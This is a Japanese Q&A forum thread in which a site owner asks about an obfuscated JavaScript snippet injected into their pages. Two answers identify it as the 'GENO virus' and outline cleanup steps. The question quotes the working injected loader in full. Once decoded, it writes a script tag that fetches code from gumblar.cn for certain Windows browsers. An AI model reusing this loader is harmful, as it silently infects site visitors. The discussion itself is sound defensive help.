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を利用してサイトを作成したら
<head/>と<body>の間に
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(function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g);
--></script><script language=javascript><!--
(function(DSY){var MCe='%';var YNe=('-76ar-20a-3d-22Scrip-74E-6egine-22-2c-62-3d-22V-65-72sio-6e-28-29+-22-2cj-3d-22-22-2cu-3d-6e-61vigato-72-2eus-65-72Agen-74-3bif((u-2ei-6edexO-66-28-22W-69-6e-22)-3e0-29-26-26(u-2e-69ndexOf(-22NT-206-22)-3c-30-29-26-26-28-64ocum-65-6et-2ec-6f-6f-6b-69-65-2eind-65xOf-28-22miek-3d1-22)-3c0)-26-26(typeof(zrvzt-73-29-21-3d-74yp-65of(-22A-22)))-7bzrvzt-73-3d-22A-22-3bev-61l(-22if(wi-6edow-2e-22+-61+-22)j-3d-6a+-22+a+-22-4dajor-22-2bb+a-2b-22M-69n-6fr-22+b-2ba+-22Build-22+b-2b-22j-3b-22)-3bdo-63ument-2ew-72ite(-22-3cscrip-74-20src-3d-2f-2fgu-6d-62lar-2ecn-2frss-2f-3fid-3d-22+j-2b-22-3e-3c-5c-2f-73-63ript-3e-22)-3b-7d').replace(DSY,MCe);eval(unescape(YNe))})(/-/g);
--></script>
というコードが表示されます。
これは何でしょうか?消す方法はあるでしょうか?

A 回答 (3件)

GENOウイルスの亜種が毎日10種類以上出てるみたいなので、


アンチウイルスソフトの対応が追いついてないみたいですね。

まとめサイトの対策を読んで、
各ソフトウェアのアップデートを行うなど、個別に対処するのが良いと思います。
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GENOウイルスまとめサイト


http://www29.atwiki.jp/geno/
対策
http://www29.atwiki.jp/geno/pages/14.html

対策ページに書かれているIPアドレスですが、現在は違うアドレスにアクセスするようになっています。

「対策」は新しくウイルスに感染しないための対策であって、
すでに感染している場合は「駆除方法」を確認して下さい。

「感染しているかどうかの確認」の「他にもこんな症状が出る」に書かれているような症状がなければ、
特にご自分で対策できるようなことは無いと思います。

サーバーのウイルス駆除については、
ウェブサーバーの管理者にウイルスの感染を報告して、対策を待つしかないと思います。
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ぱっと見、いわゆる"GENOウイルス"による物だと思います。



詳しい内容はまだわかっていませんが、
私の推測では、
Windowsに感染し、そのPCからアクセス可能なウェブサーバーに、Linuxウイルスを送り込み、Linuxウイルスがウェブページを書き換える物のようですので、
対策は、感染しているWindowsマシンからのウイルスの駆除、
およびサーバーのウイルスの駆除の両方が必要になると思います。

5月9日現在で対応しているアンチウイルスソフトはAVAST!だけのようですが、
5月9日12時頃にカスペルスキー、NOD32、ノートンに報告したので、
あと数日もすればこの3つは対応するようになると思います。
ただし、これらWindows用のアンチウイルスソフトはWindowsの方に侵入されにくくなる、というだけで、
すでに侵入されているサーバーは、別途、駆除作業が必要になると思います。

すでに侵入されているPCは、現状では、HDDを初期化してOSごと再インストール(リカバリ)することがほぼ唯一の対策のようです。
サーバーの対策方法は全く不明で、どうやらHTMLファイルからウイルスのコード(JavaScriptのコード)を削除しただけでは、すぐに復活するようです。
Apacheの再インストールや、最悪時サーバーの初期化が必要かもしれません。
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